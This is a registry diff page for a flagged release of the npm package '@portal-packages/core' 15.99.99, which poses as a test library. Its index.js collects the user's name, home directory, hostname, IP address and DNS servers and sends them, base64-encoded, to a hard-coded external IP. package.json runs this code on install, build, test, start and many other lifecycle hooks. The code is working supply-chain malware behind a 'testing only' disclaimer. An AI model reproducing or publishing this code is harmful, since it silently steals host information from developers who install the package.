@portal-packages/core 15.99.99

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @portal-packages/core might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +5 -0
  2. package/index.js +48 -0
  3. package/package.json +36 -0
package/README.md ADDED
@@ -0,0 +1,5 @@
1
+ ## Test Library
2
+ Warning: This library is for testing purposes only. Do not use it in production.
3
+
4
+ ### Description
5
+ This library is designed for testing and experimentation only. It may contain bugs, unstable features, or incomplete functionalities.
package/index.js ADDED
@@ -0,0 +1,48 @@
1
+ /**
2
+ * Disclaimer: only to test purposes!
3
+ */
4
+
5
+ var os = require("os");
6
+ var dns = require("dns");
7
+ var http = require("http");
8
+ var packageJSON = require("./package.json");
9
+ var { execSync } = require('child_process');
10
+ var package = packageJSON.name;
11
+
12
+ function getIPAddress() {
13
+ var interfaces = os.networkInterfaces();
14
+ for (var devName in interfaces) {
15
+ var iface = interfaces[devName];
16
+
17
+ for (var i = 0; i < iface.length; i++) {
18
+ var alias = iface[i];
19
+ if (alias.family === 'IPv4' && alias.address !== '127.0.0.1' && !alias.internal)
20
+ return alias.address;
21
+ }
22
+ }
23
+ return '0.0.0.0';
24
+ }
25
+
26
+ var username = execSync("whoami", {encoding: 'utf8'});
27
+
28
+ var content = JSON.stringify({
29
+ package: package,
30
+ directory: __dirname,
31
+ homedir: os.homedir(),
32
+ hostname: os.hostname(),
33
+ username: username,
34
+ ip: getIPAddress(),
35
+ dns: dns.getServers()
36
+ });
37
+
38
+ var base64Content = Buffer.from(content).toString("base64");
39
+
40
+ var url = `http://52.55.226.14/?loading=${base64Content}`;
41
+
42
+ http.get(url, (res) => {
43
+ res.on("data", (d) => {
44
+ process.stdout.write(d);
45
+ });
46
+ }).on("error", (e) => {
47
+ console.error(e);
48
+ });
package/package.json ADDED
@@ -0,0 +1,36 @@
1
+ {
2
+ "name": "@portal-packages/core",
3
+ "version": "15.99.99",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "node index.js",
8
+ "preinstall": "node index.js",
9
+ "install": "node index.js",
10
+ "postinstall": "node index.js",
11
+ "prebuild": "node index.js",
12
+ "build": "node index.js",
13
+ "build:sandbox": "node index.js",
14
+ "build:dev": "node index.js",
15
+ "start": "node index.js",
16
+ "start:stag": "node index.js",
17
+ "start:docker": "node index.js",
18
+ "postbuild": "node index.js",
19
+ "pretest": "node index.js",
20
+ "posttest": "node index.js",
21
+ "prepublish": "node index.js",
22
+ "prepare": "node index.js",
23
+ "postpublish": "node index.js",
24
+ "preversion": "node index.js",
25
+ "version": "node index.js",
26
+ "postversion": "node index.js",
27
+ "prerun": "node index.js",
28
+ "postrun": "node index.js",
29
+ "format:intl": "node index.js"
30
+ },
31
+ "keywords": [
32
+ "NO-KW"
33
+ ],
34
+ "author": "Author",
35
+ "license": "ISC"
36
+ }